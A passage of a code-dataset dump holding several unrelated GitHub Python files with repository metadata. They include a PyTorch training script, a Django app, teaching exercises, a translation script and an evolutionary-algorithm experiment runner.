avg_scaled_loss, epoch + 1)\n\n\nprint(\"Testing\")\nwith torch.no_grad():\n # Everything is in one batch, so this loop will only happen once\n for i, data in enumerate(testloader):\n velocity_inputs, ssp_inputs, ssp_outputs = data\n\n ssp_pred = model(velocity_inputs, ssp_inputs)\n\n # NOTE: need to permute axes of the targets here because the output is\n # (sequence length, batch, units) instead of (batch, sequence_length, units)\n # could also permute the outputs instead\n if args.encoding == 'pc':\n # place cell version needs to explicitly do the softmax here\n loss = criterion(ssp_pred, F.softmax(ssp_outputs.permute(1, 0, 2), dim=2))\n print(\"final test loss\", loss.data.item())\n writer.add_scalar('final_test_loss', loss.data.item(), epoch)\n else:\n cosine_loss = cosine_criterion(\n ssp_pred.reshape(ssp_pred.shape[0] * ssp_pred.shape[1], ssp_pred.shape[2]),\n ssp_outputs.permute(1, 0, 2).reshape(ssp_pred.shape[0] * ssp_pred.shape[1], ssp_pred.shape[2]),\n torch.ones(ssp_pred.shape[0] * ssp_pred.shape[1])\n )\n mse_loss = mse_criterion(ssp_pred, ssp_outputs.permute(1, 0, 2))\n\n print(\"final test cosine loss\", cosine_loss.data.item())\n print(\"final test mse loss\", mse_loss.data.item())\n writer.add_scalar('final_test_cosine_loss', cosine_loss.data.item(), epoch)\n writer.add_scalar('final_test_mse_loss', mse_loss.data.item(), epoch)\n writer.add_scalar('final_test_combined_loss', mse_loss.data.item() + cosine_loss.data.item(), epoch)\n c_f = (running_avg_mse_loss / (running_avg_mse_loss + running_avg_cosine_loss))\n m_f = (running_avg_cosine_loss / (running_avg_mse_loss + running_avg_cosine_loss))\n writer.add_scalar(\n 'final_test_scaled_loss',\n mse_loss.data.item() * m_f + cosine_loss.data.item() * c_f,\n epoch\n )\n\n # Just use start and end location to save on memory and computation\n predictions_start = np.zeros((ssp_pred.shape[1], 2))\n coords_start = np.zeros((ssp_pred.shape[1], 2))\n\n predictions_end = np.zeros((ssp_pred.shape[1], 2))\n coords_end = np.zeros((ssp_pred.shape[1], 2))\n\n if args.encoding == 'ssp':\n print(\"computing prediction locations\")\n predictions_start[:, :] = ssp_to_loc_v(\n ssp_pred.detach().numpy()[0, :, :],\n heatmap_vectors, xs, ys\n )\n predictions_end[:, :] = ssp_to_loc_v(\n ssp_pred.detach().numpy()[-1, :, :],\n heatmap_vectors, xs, ys\n )\n print(\"computing ground truth locations\")\n coords_start[:, :] = ssp_to_loc_v(\n ssp_outputs.detach().numpy()[:, 0, :],\n heatmap_vectors, xs, ys\n )\n coords_end[:, :] = ssp_to_loc_v(\n ssp_outputs.detach().numpy()[:, -1, :],\n heatmap_vectors, xs, ys\n )\n elif args.encoding == '2d':\n print(\"copying prediction locations\")\n predictions_start[:, :] = ssp_pred.detach().numpy()[0, :, :]\n predictions_end[:, :] = ssp_pred.detach().numpy()[-1, :, :]\n print(\"copying ground truth locations\")\n coords_start[:, :] = ssp_outputs.detach().numpy()[:, 0, :]\n coords_end[:, :] = ssp_outputs.detach().numpy()[:, -1, :]\n elif args.encoding == 'pc':\n # (quick hack is to just use the most activated place cell center)\n predictions_start[:, :] = pc_to_loc_v(\n pc_activations=ssp_pred.detach().numpy()[0, :, :],\n centers=pc_centers,\n jitter=0.01\n )\n predictions_end[:, :] = pc_to_loc_v(\n pc_activations=ssp_pred.detach().numpy()[-1, :, :],\n centers=pc_centers,\n jitter=0.01\n )\n\n coords_start[:, :] = pc_to_loc_v(\n pc_activations=ssp_outputs.detach().numpy()[:, 0, :],\n centers=pc_centers,\n jitter=0.01\n )\n coords_end[:, :] = pc_to_loc_v(\n pc_activations=ssp_outputs.detach().numpy()[:, -1, :],\n centers=pc_centers,\n jitter=0.01\n )\n elif args.encoding == 'frozen-learned' or args.encoding == 'pc-gauss' or args.encoding == 'pc-gauss-softmax':\n # normalizing is important here\n print(\"computing prediction locations\")\n pred_start = ssp_pred.detach().numpy()[0, :, :]\n pred_start = pred_start / pred_start.sum(axis=1)[:, np.newaxis]\n predictions_start[:, :] = ssp_to_loc_v(\n pred_start,\n heatmap_vectors, xs, ys\n )\n pred_end = ssp_pred.detach().numpy()[-1, :, :]\n pred_end = pred_end / pred_end.sum(axis=1)[:, np.newaxis]\n predictions_end[:, :] = ssp_to_loc_v(\n pred_end,\n heatmap_vectors, xs, ys\n )\n print(\"computing ground truth locations\")\n coord_start = ssp_outputs.detach().numpy()[:, 0, :]\n coord_start = coord_start / coord_start.sum(axis=1)[:, np.newaxis]\n coords_start[:, :] = ssp_to_loc_v(\n coord_start,\n heatmap_vectors, xs, ys\n )\n coord_end = ssp_outputs.detach().numpy()[:, -1, :]\n coord_end = coord_end / coord_end.sum(axis=1)[:, np.newaxis]\n coords_end[:, :] = ssp_to_loc_v(\n coord_end,\n heatmap_vectors, xs, ys\n )\n\n fig_pred_start, ax_pred_start = plt.subplots()\n fig_truth_start, ax_truth_start = plt.subplots()\n fig_pred_end, ax_pred_end = plt.subplots()\n fig_truth_end, ax_truth_end = plt.subplots()\n\n print(\"plotting predicted locations\")\n plot_predictions_v(predictions_start / ssp_scaling, coords_start / ssp_scaling, ax_pred_start, min_val=0, max_val=2.2)\n plot_predictions_v(predictions_end / ssp_scaling, coords_end / ssp_scaling, ax_pred_end, min_val=0, max_val=2.2)\n print(\"plotting ground truth locations\")\n plot_predictions_v(coords_start / ssp_scaling, coords_start / ssp_scaling, ax_truth_start, min_val=0, max_val=2.2)\n plot_predictions_v(coords_end / ssp_scaling, coords_end / ssp_scaling, ax_truth_end, min_val=0, max_val=2.2)\n\n writer.add_figure(\"final predictions start\", fig_pred_start)\n writer.add_figure(\"final ground truth start\", fig_truth_start)\n\n writer.add_figure(\"final predictions end\", fig_pred_end)\n writer.add_figure(\"final ground truth end\", fig_truth_end)\n\n # predictions = np.zeros((ssp_pred.shape[0] * ssp_pred.shape[1], 2))\n # coords = np.zeros((ssp_pred.shape[0] * ssp_pred.shape[1], 2))\n #\n # # #TODO: vectorize this to make it much faster (ssp_to_loc needs to be modified to support vectorization)\n # # #TODO: just get the ground truth coords from the dataset, rather than computing them here?\n # # for step in range(ssp_pred.shape[0]):\n # # for sample in range(ssp_pred.shape[1]):\n # # predictions[step*ssp_pred.shape[1] + sample, :] = ssp_to_loc(ssp_pred[step, sample, :], heatmap_vectors, xs, ys)\n # # coords[step * ssp_pred.shape[1] + sample, :] = ssp_to_loc(ssp_outputs[sample, step, :], heatmap_vectors, xs, ys)\n #\n # print(\"computing prediction locations\")\n # predictions[:, :] = ssp_to_loc_v(\n # ssp_pred.detach().numpy().reshape(ssp_pred.shape[0] * ssp_pred.shape[1], ssp_pred.shape[2]),\n # heatmap_vectors, xs, ys\n # )\n # print(\"computing ground truth locations\")\n # coords[:, :] = ssp_to_loc_v(\n # ssp_outputs.detach().numpy().reshape(ssp_outputs.shape[0] * ssp_outputs.shape[1], ssp_outputs.shape[2]),\n # heatmap_vectors, xs, ys\n # )\n #\n # fig_pred, ax_pred = plt.subplots()\n # fig_truth, ax_truth = plt.subplots()\n #\n # # plot_predictions(predictions, coords, ax_pred, min_val=0, max_val=2.2*ssp_scaling)\n # # plot_predictions(coords, coords, ax_truth, min_val=0, max_val=2.2*ssp_scaling)\n # print(\"plotting predicted locations\")\n # plot_predictions_v(predictions, coords, ax_pred, min_val=0, max_val=2.2*ssp_scaling)\n # print(\"plotting ground truth locations\")\n # plot_predictions_v(coords, coords, ax_truth, min_val=0, max_val=2.2*ssp_scaling)\n #\n # writer.add_figure(\"predictions\", fig_pred)\n # writer.add_figure(\"ground truth\", fig_truth)\n\n# if args.encoding == 'ssp':\n# torch.save(model.state_dict(), os.path.join(save_dir, 'ssp_path_integration_model.pt'))\n# elif args.encoding == '2d':\n# torch.save(model.state_dict(), os.path.join(save_dir, '2d_path_integration_model.pt'))\n\ntorch.save(model.state_dict(), os.path.join(save_dir, '{}_path_integration_model.pt'.format(args.encoding)))\n","repo_name":"bjkomer/ssp-experiments","sub_path":"path_integration/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":27038,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"11551935181","text":"#!/usr/bin/env python\n#-*- coding:utf8 -*-\ndef sign(**sign):\n for key,value in sign.items():\n print(key,'的星座是:',value)\n print()\ndict1 = {\"胡建力\":'巨蟹座'}\n\ndict2 = {'小健':\"狮子座\", '小胡':'双子座', '建力':'巨蟹座'}\nsign(**dict1) #解包,收集参数\nsign(**dict2)","repo_name":"hujianli94/Python-code","sub_path":"5.python中函数学习/函数2/5.3可变参数3.py","file_name":"5.3可变参数3.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"18344462253","text":"# first step is to pip install the library\n#!pip install googletrans==4.0.0-rc1\nimport os\nfrom googletrans import Translator\n# this is to check if the file's content is in telugu or not.\ndef is_telugu_text(file_path):\n '''Check if the content of a file is in telugu'''\n with open(file_path, 'r', encoding='utf-8') as file:\n text = file.read()\n\n # Detect the language of the text using Google Translate\n translator = Translator()\n result = translator.detect(str(text))\n\n if result.lang == 'te':\n return True\n else:\n return False\n\ndef translate_text(input_file, output_file):\n '''Translate the file contents'''\n with open(input_file, 'r', encoding='utf-8') as file:\n telugu_text = file.read()\n\n translator = Translator()\n translation = translator.translate(str(telugu_text), src='te', dest='hi')\n\n with open(output_file, 'w', encoding='utf-8') as file:\n file.write(translation.text)\n\n print(f'Translation completed for {input_file}. Output saved to {output_file}.')\n# this function is to travese through the files in the directory given and generate the output files.\ndef translate_directory(input_directory, output_directory):\n if not os.path.exists(output_directory):\n os.makedirs(output_directory)\n\n for file_name in os.listdir(input_directory):\n input_file = os.path.join(input_directory, file_name)\n output_file = os.path.join(output_directory, file_name.replace('.txt', '_translated.txt'))\n\n if file_name.endswith('.txt') and is_telugu_text(input_file):\n translate_text(input_file, output_file)\n\n#for actual path in your machine, use \n#curDir= r'D:\\codes\\python\ninput_directory = '/content/'\noutput_directory = '/content/'\n\ntranslate_directory(input_directory, output_directory)\n","repo_name":"Shishirr11/Python-language_translation-script","sub_path":"multiple_files_translation.py","file_name":"multiple_files_translation.py","file_ext":"py","file_size_in_byte":1802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30645614434","text":"import tkinter as tk\nfrom tkinter import *\nfrom selenium import webdriver\nimport time\nfrom selenium.webdriver.common.keys import Keys\nimport json\n\n\n\n\n\n# img=Image.open(\"C:\\Users\\sukru\\kupon\\Trendyol_online.png\")\n# photo=ImageTk.PhotoImage(img)\n# cv = tk.Canvas()\n# cv.pack(side='top', fill='both', expand='yes')\n# cv.create_image(50, 50, image=photo, anchor='nw')\n\n\n\nclass MyWindow:\n def __init__(self, win):\n self.lbl1=Label(win, text='E-posta')\n self.lbl2=Label(win, text='Şifre')\n self.lbl3=Label(win, text='Sonuç')\n self.t1=Entry(bd=3)\n self.t2=Entry()\n self.t3=Entry()\n self.btn1 = Button(win, text='Add')\n self.btn2=Button(win, text='Subtract')\n self.lbl1.place(x=100, y=50)\n self.t1.place(x=200, y=50)\n self.lbl2.place(x=100, y=100)\n self.t2.place(x=200, y=100)\n self.b1=Button(win, text='Add', command=self.add)\n self.b2=Button(win, text='Subtract')\n self.b2.bind('', self.sub)\n self.b1.place(x=100, y=150)\n self.b2.place(x=200, y=150)\n self.lbl3.place(x=100, y=200)\n self.t3.place(x=200, y=200)\n \n \n def add(self):\n self.t3.delete(0, 'end')\n num1=int(self.t1.get())\n num2=int(self.t2.get())\n result=num1+num2\n self.t3.insert(END, str(result))\n \n \n def sub(self, event):\n self.t3.delete(0, 'end')\n num1=int(self.t1.get())\n num2=int(self.t2.get())\n result=num1-num2\n self.t3.insert(END, str(result))\n\nwindow=tk.Tk()\nmywin=MyWindow(window)\nwindow.title(\"Trendyol Bot (Licensed to GOD)\")\nwindow.geometry('850x700')\nwindow.mainloop()","repo_name":"sukrucnCbc/Selenium_Bot","sub_path":"botGUI.py","file_name":"botGUI.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"43447569302","text":"def test01():\n print('Hello world') # comment\n \"\"\"\n Multi line comment\n \"\"\"\n\n\ndef say_hello(first_name, last_name='Kowalski',\n age=18):\n print(f'Hi {first_name} {last_name}. You are {age} years old')\n # Najpierw wszystkie pozycyjne, potem wszystkie domyslne\n # Najpierw podaje pozycyjnie, potem podaje nazwane\n\n\ndef say_hello2(first_name, last_name):\n print('Hi', first_name, last_name)\n print('Hi' + str(first_name) + str(last_name))\n print(f'Hi {first_name} {last_name}')\n\n\ndef say_hello_test():\n say_hello('Pawel')\n # say_hello(5)\n # say_hello2('Jan', 'Kowalski')\n # say_hello('Jan', 'Nowak')\n # say_hello('Jan')\n # say_hello(first_name='Jan', age=22)\n # say_hello(first_name='Jan',\n # age=22,\n # last_name='Nowak')\n\n\ndef rect(a, b):\n pole = a * b\n obwod = 2 * a + 2 * b\n print('Pole =', pole)\n print('Obwod =', 2 * a + 2 * b)\n return pole, obwod\n\n\ndef rect_show():\n x = rect(2, 3)\n print(x)\n pole, obwod = rect(2, 3)\n print(pole)\n print(obwod)\n\n\ndef my_append(value, my_list=[1, 2]):\n my_list.append(value)\n return my_list\n\n\ndef my_append2(value, my_list=(1, 2)):\n my_list = list(my_list)\n my_list.append(value)\n return my_list\n\n\ndef my_append3(value, my_list=None):\n if my_list is None:\n my_list = [1, 2]\n my_list.append(value)\n return my_list\n\n\ndef my_append4(value, my_list):\n my_list.append(value)\n\n\ndef my_append5(value, my_list):\n my_list = [3, 4]\n my_list.append(value)\n\n\ndef show_my_append():\n print(my_append(2, [3, 4]))\n print(my_append(5))\n print(my_append(6))\n\n print('my_append2')\n print(my_append2(5))\n print(my_append2(6))\n\n print('my_append4')\n a = [1, 3, 4]\n my_append4(3, a)\n my_append4(7, a)\n print(a)\n\n print('my_append5')\n a = [1, 3, 4]\n my_append5(3, a)\n my_append5(7, a)\n print(a)\n\ndef rect2(a, b=None):\n if b is None:\n b = a\n return a * b\n\ndef rect2_test():\n print(rect2(4)) # 16\n print(rect2(2, 3)) # 6\n\n\ndef test_if(a, b=0):\n # ==, !=, >, <, >=, <=\n # and, or, not\n # is, in\n if a == 7:\n print('Yes, a == 7')\n elif a == 8:\n print('a != 7, but a == 8')\n else:\n print('Yes, a not == 7')\n\n if a == 7 and b == 0:\n print('7 0')\n\n a = [2, 3]\n b = a\n c = [2, 3]\n print(a == b, a is b) # True True\n print(a == c, a is c) # True False\n\n\ndef check_upper_lower(text):\n if text == text.upper():\n print('Upper')\n elif text == text.lower():\n print('Lower')\n else:\n print('None')\n\n\ndef check_while(a):\n while a > 1:\n print(a)\n a = int(a / 2)\n\n\ndef check_while2(a):\n while True:\n a = int(a / 2)\n if a % 4 == 0:\n continue\n print(a)\n if a <= 1:\n break\n\n\ndef check_for(my_list):\n summary = 0\n for x in my_list:\n print(x)\n summary += x\n print(\"summary\", summary)\n\n\ndef check_for2(a):\n for x in range(a):\n print(x)\n\n\ndef check_for3():\n for x in range(5):\n print(x)\n\n print()\n for x in range(2, 5):\n print(x)\n\n print()\n print(list(range(5)))\n print(list(range(2, 5)))\n print(list(range(2, 10, 3)))\n\n\ndef for_containers():\n print('Tuple')\n a = (1, 3, 5)\n for x in a:\n print(x)\n\n print('List')\n a = [1, 3, 5]\n for x in a:\n print(x)\n\n print('Set')\n a = {1, 3, 5}\n for x in a:\n print(x)\n\n print('Dict')\n a = {'a': 1, 'b': 3, 'c': 5}\n for x in a: # <==> for x in a.keys()\n print(x)\n\n for x in a.items():\n print(x, type(x))\n\n for key, val in a.items():\n print(key, 'has', val)\n\n\ndef print_dict(d):\n for key, value in d.items():\n print(f'key={key}, value={value}')\n\n\ndef for_containers2():\n my_dict = {'a': 1, 'b': 3, 'c': 5}\n my_list = ['Jan', 'Karol', 'Bartek', 'Adam']\n\n print('Enumerate list')\n for i, value in enumerate(my_list):\n print(i, value)\n\n print('Enumerate dict')\n for x in enumerate(my_dict.items()):\n print(x)\n\n print('Zip list')\n for a, b in zip(my_dict.items(), my_list):\n key, value = a\n print(a, b)\n\n print('Zip list2')\n for a, b in zip(my_list, my_dict.items()):\n print(a, b)\n\n\ndef test_for():\n # check_for([1, 3, 7])\n # check_for2(10)\n for_containers2()\n\n\ndef test_args(a, b, c, *d): # d is tuple and takes all positional arguments\n print(a, type(a))\n print(b, type(b))\n print(c, type(c))\n print(d, type(d))\n\n\ndef test_kwargs(a, b, c, **kwargs): # kwargs is dict and takes all named arguments\n print(a, type(a))\n print(b, type(b))\n print(c, type(c))\n print(kwargs, type(kwargs))\n\n\ndef test_args_kwargs(a, b, *args, c=3, d='d', **kwargs):\n print(a, type(a))\n print(b, type(b))\n print(args, type(args))\n print(c, type(c))\n print(d, type(d))\n print(kwargs, type(kwargs))\n\n\ndef argsy_kwargsy():\n # print_dict({'abc': 3, 'Def': 5, 'xYx': 9, 'GGS': 14, 'XCY': 17, 'vgb': 99}) # key=abc, value=3\n # test_args(1, 'a', 4.5, 6, 1, 'haha', 19)\n # test_kwargs(a=1, b='a', c=4.5, d=6, e=1, f='haha', g=19)\n # test_args_kwargs(1, 5)\n # test_args_kwargs(1, 5, 6, 9, 10)\n # test_args_kwargs(1, 5, c=6, d=9, e=10)\n # test_args_kwargs(a=1, b=5, c=6, d=9, e=10)\n # test_args_kwargs(1, 5, 19, 20, c=6, d=9, e=10, f=30)\n # test_args_kwargs(1, 5, 19, 20, f=30)\n test_args_kwargs(z=30, a=1, b=2)\n\n\ndef convert_from_m_to_cm(x):\n return 100 * x\n\n\ndef convert_to_m(x, unit='m'):\n result = x\n if unit == 'cm':\n result = x / 100\n elif unit == 'km':\n result = x * 1000\n elif unit == 'mile':\n result = x * 1609\n elif unit == 'inch':\n result = x * 2.54 / 100\n return result\n\n\ndef convert_to_m2(x, unit='m'):\n multiplier = {'m': 1, 'cm': 0.01, 'km': 1000, 'mile': 1609, 'inch': 0.0254}\n return x * multiplier.get(unit)\n\n\ndef quadratic_equation(a, b, c):\n delta = b ** 2 - 4 * a * c\n if delta < 0:\n return None\n elif delta == 0:\n x0 = -b / 2 * a\n return x0\n else:\n delta_sqrt = delta ** (1/2)\n x1 = (-b - delta_sqrt) / (2 * a)\n x2 = (-b + delta_sqrt) / (2 * a)\n return x1, x2\n\nargsy_kwargsy()\n","repo_name":"pawdon/python_course","sub_path":"week01_day01/day01.py","file_name":"day01.py","file_ext":"py","file_size_in_byte":6306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40264285098","text":"from rest_framework import serializers\nfrom .models import Customer\n\n\nclass CustomerSerializer(serializers.HyperlinkedModelSerializer):\n customer_token = serializers.CharField(\n max_length=50,\n write_only=True,\n help_text='Customer token returned by Stripe.js call from client.'\n )\n\n def create(self, validated_data):\n data = validated_data\n data.pop('customer_token')\n\n return Customer.objects.create(**data)\n\n class Meta:\n model = Customer\n fields = (\n 'id',\n 'date_created',\n 'date_modified',\n 'customer_token',\n\n 'billing_card_number',\n 'billing_address_1',\n 'billing_address_2',\n 'billing_city',\n 'billing_zip',\n 'billing_country',\n 'billing_type',\n 'billing_expiry_month',\n 'billing_expiry_year',\n )\n\n read_only_fields = ('date_created', 'date_modified',)\n","repo_name":"superhero2007/fm_project","sub_path":"fm_api_project/fm_api/customers/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26596263211","text":"#Programa 3.7: programa03_07\n#programa de conversión de decimal a binario, y a otras bases\nfrom programa03_01 import Pila #Importar Pila del módulo programa03_01\n\ndef dividirPor2(numeroDecimal):\n pilaResiduo = Pila()\n\n while numeroDecimal > 0:\n residuo = numeroDecimal % 2\n pilaResiduo.incluir(residuo)\n numeroDecimal = numeroDecimal // 2\n\n cadenaBinaria = \"\"\n while not pilaResiduo.estaVacia():\n cadenaBinaria = cadenaBinaria + str(pilaResiduo.extraer())\n\n return cadenaBinaria\n","repo_name":"DmejiariUnal8313/IndependentFiles","sub_path":"Independent Files/programa03_07.py","file_name":"programa03_07.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30414858161","text":"\"\"\"ecommerce URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/4.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom ventas.views import inicio,articulo,cliente,crearCliente,venta,compra,proveedor,crearProveedor,producto,crearProducto,categoria,crearCategoria,factura,crearFactura\nfrom django.conf.urls.static import static\nfrom ecommerce import settings\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', inicio, name='inicio'),\n path('articulo/', articulo, name='articulo'),\n path('cliente/', cliente, name='cliente'),\n path('crearcliente/', crearCliente, name='crearcliente'),\n path('venta/', venta, name='venta'),\n path('compra/', compra, name='compra'),\n path('proveedor/', proveedor, name='proveedor'),\n path('crearproveedor/', crearProveedor, name='crearproveedor'),\n path('producto/', producto, name='producto'),\n path('crearproducto/', crearProducto, name='crearprroducto'),\n path('categoria/', categoria, name='categoria'),\n path('crearcategoria/', crearCategoria, name='crearcategoria'),\n path('factura/', factura, name='factura'),\n path('crearfactura/', crearFactura, name='crearfactura'),\n]\nif settings.DEBUG:\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)","repo_name":"AnthonyVelezLF/Compras","sub_path":"ecommerce/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21079175426","text":"# page 9\n\nclass Solution:\n def isPalindrome(self, s: str) -> bool:\n start = 0\n end = len(s) - 1\n\n while start < end:\n # iterating until we find alphanumeric values for both the pointers\n while start < end and not s[start].isalnum():\n start += 1\n\n while start < end and not s[end].isalnum():\n end -= 1\n\n if s[start].lower() != s[end].lower():\n return False\n\n start += 1\n end -= 1\n\n return True\n","repo_name":"TareshBatra/pyLeetCode","sub_path":"Two Pointers/valid-palindrome-lc125.py","file_name":"valid-palindrome-lc125.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35852865320","text":"import subprocess\nimport matplotlib\nimport matplotlib.pyplot as plt\nmatplotlib.rcParams.update({'font.size': 14})\nimport os\nfrom tqdm import tqdm\nfrom glob import glob\nimport numpy as np\n\nSAVE_FIGURES = False\n\ndef get_diversity(output):\n o = str(output).split(\"\\\\n\")[:-3]\n return o\n\ndef get_score(output):\n o = str(output).split(\"\\\\n\")[-3] # get the score field\n o = float(o.split(\" \")[1])\n return o\n\n\ndef save_plot(lines, directory, run):\n lines = [l for l in lines if len(l) > 0 and l[0].isdigit()]\n lines = [l.split(\",\") for l in lines]\n\n fig, ax1 = plt.subplots()\n\n t = [int(l[0]) for l in lines]\n d = [float(l[1]) for l in lines]\n s = [float(l[2]) for l in lines]\n\n s = [max(s[:i]) for i in range(1,len(s)+1)]\n\n ax1.semilogy(t, d, 'b-')\n ax1.set_xlabel('iterations')\n ax1.set_ylabel('diversity', color='b')\n ax1.tick_params('y', colors='b')\n\n ax2 = ax1.twinx()\n ax2.plot(t, s, 'r')\n ax2.set_ylabel('score', color='r')\n ax2.tick_params('y', colors='r')\n\n fig.tight_layout()\n fig.savefig(directory+str(run)+\".png\",bbox_inches='tight')\n plt.clf()\n\n\ndef read_txt(file):\n with open(file, \"r\") as f:\n doc = f.read()\n\n scores = [x for x in doc.split(\"\\n\")]\n scores = [float(x) for x in scores if len(x) > 0]\n return scores\n\ndef show_all_stats():\n directory = \"results/\"\n\n files = [y for x in os.walk(directory) for y in glob(os.path.join(x[0], '*.txt'))]\n\n for file in files:\n params = file.split(\"/\")[-2]\n problem = file.split(\"/\")[1]\n scores = read_txt(file)\n\n print(params)\n print(problem)\n print(\"MEAN: %.5f\" % np.mean(scores))\n print(\"STD: %.5f\" % np.std(scores))\n\n\ndef runExperiment(mut_args, args_dict, f):\n args = []\n for key in args_dict.keys():\n args.append(key + \"=\" + str(args_dict[key]))\n\n\n num_iterations = 100\n plot_limit = 20\n\n directory = \"results/%s/%s/\" % (f, \"-\".join(mut_args+args))\n\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n scores = []\n\n for i in tqdm(range(num_iterations-1)):\n test = subprocess.Popen([\"java\"] + mut_args + args + [\"-jar\", \"testrun.jar\", \"-submission=player23\", \"-evaluation=%s\" % f, \"-seed=%d\" % i], stdout=subprocess.PIPE)\n output = test.communicate()[0]\n\n if i < plot_limit and SAVE_FIGURES:\n save_plot(get_diversity(output), directory, i)\n\n scores += [get_score(output)]\n\n with open(directory+\"results.txt\", \"w\") as f:\n for score in scores:\n f.write(\"%s\\n\" % score)\n\n\ndef run_experiment(function, alg):\n if alg == \"LDM\":\n if function == \"BentCigarFunction\":\n params = {'-Dmu': 80, '-Dlambda': 169, '-Dvariance': 0.003817733496358963, '-Dk': 6, '-Dparsize': 64}\n mut_args = [\"-DmutationType=mutateStandard\", \"-DmutationFunction=linearDecreasing\", \"-DmutationDistribution=gaussian\"]\n elif function == \"SchaffersEvaluation\":\n params = {'-Dmu': 67, '-Dlambda': 186, '-Dvariance': 0.02931366086141189, '-Dk': 8, '-Dparsize': 67}\n mut_args = [\"-DmutationType=mutateStandard\", \"-DmutationFunction=linearDecreasing\", \"-DmutationDistribution=gaussian\"]\n else: #KatsuuraEvaluation\n params = {'-Dmu': 17, '-Dlambda': 152, '-Dvariance': 0.0010615728075645916, '-Dk': 4, '-Dparsize': 4}\n mut_args = [\"-DmutationType=mutateStandard\", \"-DmutationFunction=linearDecreasing\", \"-DmutationDistribution=gaussian\"]\n elif alg == \"DGEA\":\n if function == \"BentCigarFunction\":\n params = {'-Dmu': 80, '-Dlambda': 114, '-DdLow': 0.0020283390188316447, '-DdHigh': 0.3126058325379971, '-Dk': 9, '-Dparsize': 23}\n mut_args = ['-DmutationType=mutateDG', '-DmutationFunction=static', '-DmutationDistribution=gaussian']\n elif function == \"SchaffersEvaluation\":\n params = {'-Dmu': 128, '-Dlambda': 128, '-DdLow': 0.0022876039949272374, '-DdHigh': 0.23176941855081462, '-Dk': 8, '-Dparsize': 35}\n mut_args = ['-DmutationType=mutateDG', '-DmutationFunction=static', '-DmutationDistribution=gaussian']\n else: #KatsuuraEvaluation\n params = {'-Dmu': 93, '-Dlambda': 217, '-DdLow': 0.016926841434103237, '-DdHigh': 0.23935788204849787, '-Dk': 9, '-Dparsize': 46}\n mut_args = ['-DmutationType=mutateDG', '-DmutationFunction=static', '-DmutationDistribution=gaussian']\n else: #CMEAS\n params = {'-Dmu': 40}\n mut_args = [\"-DmutationType=cmaes\"]\n\n runExperiment(mut_args, params, function)\n\n\nif __name__ == \"__main__\":\n f = \"KatsuuraEvaluation\" #KatsuuraEvaluation SchaffersEvaluation BentCigarFunction\n a = \"CMEAS\" #LDM DGEA CMEAS\n\n #run_experiment(f,a)\n\n show_all_stats()\n","repo_name":"mathijspieters/ECgroup23","sub_path":"runFinalExperiment.py","file_name":"runFinalExperiment.py","file_ext":"py","file_size_in_byte":4747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74651350322","text":"import sys\nsys.setrecursionlimit(10 ** 6)\nread = sys.stdin.readline\n\nglobal R, C, a, visited, res, cnt\ndr = [-1, 1, 0, 0]\ndc = [0, 0, -1, 1]\n\ndef dfs(r, c):\n visited[r][c] = 1\n size = 1\n\n for i in range(4):\n nr = r + dr[i]\n nc = c + dc[i]\n\n if nr < 0 or nr >= R or nc < 0 or nc >= C or visited[nr][nc] != 0 or a[nr][nc] == 0:\n continue\n\n size += dfs(nr, nc)\n\n return size\n\n\ndef main():\n global R, C, a, visited, res, cnt\n\n R, C = map(int, read().rstrip().split())\n a = []\n\n for i in range(R):\n temp = list(map(int, read().rstrip().split()))\n a.append(temp)\n\n cnt = 0\n res = 0\n\n visited = [[0 for _ in range(C)] for _ in range(R)]\n\n for i in range(R):\n for j in range(C):\n if visited[i][j] == 0 and a[i][j] == 1:\n cnt += 1\n res = max(res, dfs(i, j))\n\n print(cnt)\n print(res)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"bellepoque7/2023-data-science-edu","sub_path":"1. 개발 알고리즘/03-06 그래프/그림.py","file_name":"그림.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22409176067","text":"\n# -*- coding: utf-8 -*-\n\"\"\"\n# Author: Venkata Ravi Kumar A\n# File name: faster_rcnn_config.py\n\n\"\"\"\n\n# path to your own data and coco file\ntrain_data_dir = \"UTSynData/train/images\"\ntrain_coco = \"UTSynData/train/image_coco_annotations.json\"\n\n# Batch size\ntrain_batch_size = 10\n\n# Params for dataloader\ntrain_shuffle_dl = True\nnum_workers_dl = 4\n\n# Params for training\n\n# Two classes; thistle class or background\nnum_classes = 2\nnum_epochs = 10\n\nlr = 0.005\nmomentum 